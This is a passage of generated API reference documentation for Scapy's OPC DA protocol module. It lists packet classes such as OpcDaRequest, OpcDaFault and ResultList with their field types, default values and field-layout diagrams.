	version

	ShortField

	0



	pad

	ByteField

	0



	windowSize

	ShortField

	0



	maxTsdu

	IntField

	0



	maxFragSize

	IntField

	0



	serialNum

	ShortField

	0



	selackLen

	FieldLenField

	0



	selack

	PacketListField

	[]















	
class scapy.contrib.opc_da.OpcDaFault(_pkt, /, *, allocHint=0, contextId=0, cancelCount=0, reserved=0, Group=0, reserved2=0, stubData=None, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L766-L782]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L781-L782]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ALLOCHINT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CONTEXTID           |  CANCELCOUNT  |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             GROUP                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            STUBDATA           |         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OpcDaFault                          


OpcDaFault fields






	allocHint

	IntField

	0



	contextId

	ShortField

	0



	cancelCount

	ByteField

	0



	reserved

	ByteField

	0



	Group

	IntEnumField

	0



	reserved2

	IntField

	0



	stubData

	StrLenField

	None



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaFaultLE(_pkt, /, *, allocHint=0, contextId=0, cancelCount=0, reserved=0, Group=0, reserved2=0, stubData=None, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaFault


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ALLOCHINT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CONTEXTID           |  CANCELCOUNT  |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             GROUP                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            STUBDATA           |         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OpcDaFaultLE                         


OpcDaFaultLE fields






	allocHint

	IntField

	0



	contextId

	ShortField

	0



	cancelCount

	ByteField

	0



	reserved

	ByteField

	0



	Group

	IntEnumField

	0



	reserved2

	IntField

	0



	stubData

	StrLenField

	None



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaHeaderMessage(_pkt, /, *, versionMajor=0, versionMinor=0, pduType=0, pfc_flags=<Flag 0 ()>, integerRepresentation=1, characterRepresentation=0, floatingPointRepresentation=0, res=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1122-L1149]

	Bases: Packet


	
aliastypes

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'pdu_type': ('pduType', '2.5.0')}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  VERSIONMAJOR |  VERSIONMINOR |    PDUTYPE    |   PFC FLAGS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|INTEGER|CHARACT|FLOATINGPOINTRE|              RES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OpcDaHeaderMessage                      


OpcDaHeaderMessage fields






	versionMajor

	ByteField

	0



	versionMinor

	ByteField

	0



	pduType

	ByteEnumField

	0



	pfc_flags

	FlagsField

	<Flag 0 ()>



	integerRepresentation

	BitEnumField

	1



	characterRepresentation

	BitEnumField

	0



	floatingPointRepresentation

	ByteEnumField

	0



	res

	ShortField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1145-L1149]

	








	
class scapy.contrib.opc_da.OpcDaHeaderN(_pkt, /, *, fragLength=0, authLength=0, callID=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1093-L1110]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FRAGLENGTH          |           AUTHLENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OpcDaHeaderN                         


OpcDaHeaderN fields






	fragLength

	ShortField

	0



	authLength

	ShortEnumField

	0



	callID

	IntField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1102-L1110]

	








	
class scapy.contrib.opc_da.OpcDaHeaderNLE(_pkt, /, *, fragLength=0, authLength=0, callID=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaHeaderN


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FRAGLENGTH          |           AUTHLENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CALLID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OpcDaHeaderNLE                        


OpcDaHeaderNLE fields






	fragLength

	ShortField

	0



	authLength

	ShortEnumField

	0



	callID

	IntField

	0















	
class scapy.contrib.opc_da.OpcDaMessage(_pkt, /, *, OpcDaMessage=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1156-L1160]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          OPCDAMESSAGE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OpcDaMessage                         


OpcDaMessage fields






	OpcDaMessage

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaNoCall(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L800-L804]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L803-L804]

	








	
class scapy.contrib.opc_da.OpcDaNoCallLE(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L807-L811]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L810-L811]

	








	
class scapy.contrib.opc_da.OpcDaOrphaned(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1063-L1064]

	Bases: AuthentificationProtocol


	
aliastypes

	








	
class scapy.contrib.opc_da.OpcDaPing(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L729-L735]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L734-L735]

	




	
fields_desc

	








	
class scapy.contrib.opc_da.OpcDaReject(_pkt, /, *, allocHint=0, contextId=0, cancelCount=0, reserved=0, Group=0, stubData=None, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L817-L832]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L831-L832]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ALLOCHINT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CONTEXTID           |  CANCELCOUNT  |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             GROUP                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            STUBDATA           |         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OpcDaReject                         


OpcDaReject fields






	allocHint

	IntField

	0



	contextId

	ShortField

	0



	cancelCount

	ByteField

	0



	reserved

	ByteField

	0



	Group

	IntEnumField

	0



	stubData

	StrLenField

	None



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaRejectLE(_pkt, /, *, allocHint=0, contextId=0, cancelCount=0, reserved=0, Group=0, stubData=None, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaReject


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ALLOCHINT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CONTEXTID           |  CANCELCOUNT  |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             GROUP                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            STUBDATA           |         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OpcDaRejectLE                        


OpcDaRejectLE fields






	allocHint

	IntField

	0



	contextId

	ShortField

	0



	cancelCount

	ByteField

	0



	reserved

	ByteField

	0



	Group

	IntEnumField

	0



	stubData

	StrLenField

	None



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaRequest(_pkt, /, *, allocHint=0, contextId=0, opNum=0, uuid=UUID('00010001-0001-0001-0001-000100010001'), stubData=None, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L702-L720]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L719-L720]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ALLOCHINT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CONTEXTID           |             OPNUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              UUID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            STUBDATA           |         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OpcDaRequest                         


OpcDaRequest fields






	allocHint

	IntField

	0



	contextId

	ShortField

	0



	opNum

	ShortField

	0



	uuid

	UUIDField (Cond)

	UUID('00010001-0001-0001-0001-000100010001')



	stubData

	PacketLenField

	None



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaRequestLE(_pkt, /, *, allocHint=0, contextId=0, opNum=0, uuid=UUID('00010001-0001-0001-0001-000100010001'), stubData=None, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaRequest


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ALLOCHINT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CONTEXTID           |             OPNUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              UUID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            STUBDATA           |         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OpcDaRequestLE                        


OpcDaRequestLE fields






	allocHint

	IntField

	0



	contextId

	ShortField

	0



	opNum

	ShortField

	0



	uuid

	UUIDField

	UUID('00010001-0001-0001-0001-000100010001')



	stubData

	PacketLenField

	None



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaResponse(_pkt, /, *, allocHint=0, contextId=0, cancelCount=0, reserved=0, stubData=None, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L743-L757]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L756-L757]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ALLOCHINT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CONTEXTID           |  CANCELCOUNT  |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            STUBDATA           |         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OpcDaResponse                        


OpcDaResponse fields






	allocHint

	IntField

	0



	contextId

	ShortField

	0



	cancelCount

	ByteField

	0



	reserved

	ByteField

	0



	stubData

	StrLenField

	None



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaResponseLE(_pkt, /, *, allocHint=0, contextId=0, cancelCount=0, reserved=0, stubData=None, authentication=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: OpcDaResponse


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ALLOCHINT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           CONTEXTID           |  CANCELCOUNT  |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            STUBDATA           |         AUTHENTICATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OpcDaResponseLE                       


OpcDaResponseLE fields






	allocHint

	IntField

	0



	contextId

	ShortField

	0



	cancelCount

	ByteField

	0



	reserved

	ByteField

	0



	stubData

	StrLenField

	None



	authentication

	PacketField

	None















	
class scapy.contrib.opc_da.OpcDaShutdown(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1035-L1040]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L1039-L1040]

	








	
class scapy.contrib.opc_da.OpcDaWorking(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L791-L795]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L794-L795]

	








	
class scapy.contrib.opc_da.OsfDcePrivateKeyAuthentification(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L295-L300]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L299-L300]

	








	
class scapy.contrib.opc_da.RequestStubData(_pkt, /, *, versionMajor=0, versionMinor=0, stubdata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L676-L685]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L684-L685]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          VERSIONMAJOR         |          VERSIONMINOR         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            STUBDATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. RequestStubData                       


RequestStubData fields






	versionMajor

	ShortField

	0



	versionMinor

	ShortField

	0



	stubdata

	StrField

	b''















	
class scapy.contrib.opc_da.RequestStubDataLE(_pkt, /, *, versionMajor=0, versionMinor=0, stubdata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: RequestStubData


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          VERSIONMAJOR         |          VERSIONMINOR         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            STUBDATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. RequestStubDataLE                      


RequestStubDataLE fields






	versionMajor

	ShortField

	0



	versionMinor

	ShortField

	0



	stubdata

	StrField

	b''















	
class scapy.contrib.opc_da.ResultElement(_pkt, /, *, resultContextNegotiation=0, reason=0, transferSyntax=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L346-L357]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L356-L357]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESULTCONTEXTNEGOTIATION   |             REASON            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         TRANSFERSYNTAX        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ResultElement                        


ResultElement fields






	resultContextNegotiation

	ShortEnumField

	0



	reason

	ShortEnumField (Cond)

	0



	transferSyntax

	PacketField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.opc_da.ResultElementLE(_pkt, /, *, resultContextNegotiation=0, reason=0, transferSyntax=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: ResultElement


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESULTCONTEXTNEGOTIATION   |             REASON            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         TRANSFERSYNTAX        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ResultElementLE                       


ResultElementLE fields






	resultContextNegotiation

	ShortEnumField

	0



	reason

	ShortEnumField

	0



	transferSyntax

	PacketField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.opc_da.ResultList(_pkt, /, *, nbResult=0, reserved=0, reserved2=0, resultList=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L363-L375]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L374-L375]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    NBRESULT   |    RESERVED   |           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RESULTLIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ResultList                          


ResultList fields






	nbResult

	ByteField

	0



	reserved

	ByteField

	0



	reserved2

	ShortField

	0



	resultList

	PacketListField

	[]















	
class scapy.contrib.opc_da.ResultListLE(_pkt, /, *, nbResult=0, reserved=0, reserved2=0, resultList=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L270-L272]

	Bases: ResultList


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    NBRESULT   |    RESERVED   |           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RESULTLIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ResultListLE                         


ResultListLE fields






	nbResult

	ByteField

	0



	reserved

	ByteField

	0



	reserved2

	ShortField

	0



	resultList

	PacketListField

	[]















	
class scapy.contrib.opc_da.STDOBJREF(_pkt, /, *, flags=1, cPublicRefs=0, OXID=0, OID=0, IPID=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L400-L408]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CPUBLICREFS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              OXID                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              OID                              |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              IPID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. STDOBJREF                          


STDOBJREF fields






	flags

	LEIntEnumField

	1



	cPublicRefs

	LEIntField

	0



	OXID

	LELongField

	0



	OID

	LELongField

	0



	IPID

	PacketField

	None















	
class scapy.contrib.opc_da.StringBinding(_pkt, /, *, wTowerId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L411-L416]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            WTOWERID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. StringBinding                        


StringBinding fields






	wTowerId

	LEShortField

	0















	
class scapy.contrib.opc_da.SyntaxId(_pkt, /, *, interfaceUUID=UUID('00010001-0001-0001-0001-000100010001'), versionMajor=0, versionMinor=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L330-L340]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/opc_da.py#L339-L340]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
